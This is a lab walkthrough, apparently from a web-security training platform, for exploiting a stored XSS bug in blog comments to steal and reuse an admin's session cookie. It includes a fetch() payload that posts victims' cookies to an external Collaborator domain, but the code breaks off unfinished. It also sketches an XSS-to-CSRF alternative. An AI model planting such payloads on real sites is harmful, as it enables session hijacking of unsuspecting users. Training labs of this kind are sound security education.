Exploiting cross-site scripting to steal cookies


The website in this lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted.

Reproduction and proof of concept

  1. Using Burp Suite Professional, go to the Collaborator tab.

  2. Click Copy to clipboard to copy a unique Burp Collaborator payload to the clipboard.

  3. Submit the payload in a blog comment, inserting your Burp Collaborator subdomain where indicated. This script will make anyone who views the comment issue a POST request containing their cookie to your subdomain on the public Collaborator server.

    fetch('https://kocnw0mrbkcqli3hz8v75eaoofu6iw6l.oastify.com', {
    method: 'POST',
    mode: 'no-cors',

The request contains

  1. Go back to the Collaborator tab, and click “Poll now”. You should see an HTTP interaction. If you don’t see any interactions listed, wait a few seconds and try again.

  2. Take a note of the value of the victim’s cookie in the POST body.


  1. Reload the main blog page, using Burp Proxy or Burp Repeater to replace your own session cookie with the one you captured in Burp Collaborator. Send the request to solve the lab. To prove that you have successfully hijacked the admin user’s session, you can use the same cookie in a request to /my-account to load the admin user’s account page.


To prevent the Academy platform being used to attack third parties, the firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, use Burp Collaborator’s default public server, meaning Burp Pro.

And there is an alternative solution to this lab that does not require Burp Collaborator: Make the victim post their session cookie within a blog comment by exploiting the XSS to perform CSRF. This exposes the cookie publicly, and discloses evidence that the attack was performed.